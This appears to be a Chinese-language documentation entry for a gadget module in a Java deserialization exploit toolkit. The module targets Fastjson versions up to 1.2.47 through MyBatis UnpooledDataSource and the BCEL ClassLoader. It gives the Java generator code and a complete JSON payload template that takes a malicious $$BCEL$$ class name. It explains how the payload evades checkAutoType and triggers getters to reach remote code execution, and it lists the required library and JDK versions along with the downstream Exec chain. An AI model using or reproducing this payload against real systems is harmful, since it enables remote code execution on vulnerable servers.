- 类别:fastjson 别名:— 优先级:—
- 作者:—
- 依赖:
bcel、mybatis、fastjson <= 1.2.47
FastjsonBasicDataSource 的 mybatis 变体:当目标环境没有 dbcp、却引入了 mybatis 时,改用 mybatis 自带的 org.apache.ibatis.datasource.unpooled.UnpooledDataSource 作为「带 driverClassLoader + driver getter」的载体,配合 BCEL ClassLoader 加载任意字节码实现 RCE。产物同样是一段供 Fastjson 解析的 JSON 文本。
- 入口
tags:FastjsonPayload—— 承接 Fastjson payload 入口。 - 衔接
nextTags:BCEL_Expr—— 之后接产出 BCEL 字节码类名字符串的 gadget(BcelConvert)。 excludes:无。
本类无 @Param,逻辑极简:单一模板 + 一次 String.format。
public Object getObject(String bcel) {
return String.format(template, bcel);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject((String)chain.doCreate(context));
}invoke 取内层 gadget 产出的 BCEL 类名字符串,直接嵌入 %s。模板(fastjson <= 1.2.47 通用绕过写法):
{
"x": {
"xxx": { "@type": "java.lang.Class",
"val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource" }, // 预热进 mappings 缓存
"c": { "@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource" },
"www": { "@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, // 预热 BCEL ClassLoader
{
"@type": "com.alibaba.fastjson.JSONObject",
"c": { "@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource" },
"c": {
"@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",
"driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" },
"driver": "%s" // $$BCEL$$ 恶意类名
}
}:{}
}
}关键点:
- 先用两个
java.lang.Class的val把UnpooledDataSource与 BCELClassLoader写入 Fastjson 的mappings白名单缓存,规避checkAutoType。 - 把配置好的
UnpooledDataSource作为外层JSONObject(Map)的 key 放置({...}:{}结构),序列化/toString阶段触发其 getter。 UnpooledDataSource.getDriver系逻辑中Resources.classForName(driver, driverClassLoader)用 BCEL ClassLoader 解码$$BCEL$$类名并defineClass,实例化恶意类触发代码执行。- 模板里重复的
"c"key 属刻意构造,用于绕过解析顺序 / 触发目标 setter 后再触发 getter。
本类无 @Param。BCEL 类名由链上游(nextTags=BCEL_Expr 的 gadget)注入,fastjson 版本固定按 1.2.47 通用模板。
- 适用
fastjson <= 1.2.47。 - 依赖目标 classpath 存在
mybatis(提供UnpooledDataSource)与bcel。 - 与 dbcp 版同理,BCEL ClassLoader 于
JDK 8u251被移除,需JDK 8 < 8u251。 - 纯文本 JSON payload,由目标 Fastjson 反序列化点触发。
自由构件,未直接出现在预设链(usedInChains 为空)。
- 下游(
nextTags=BCEL_Expr):BcelConvert → BytecodeConvert → Exec。 - 同族:FastjsonBasicDataSource(dbcp 版,含 1.2.24/1.2.47 双模板)、FastjsonC3p0。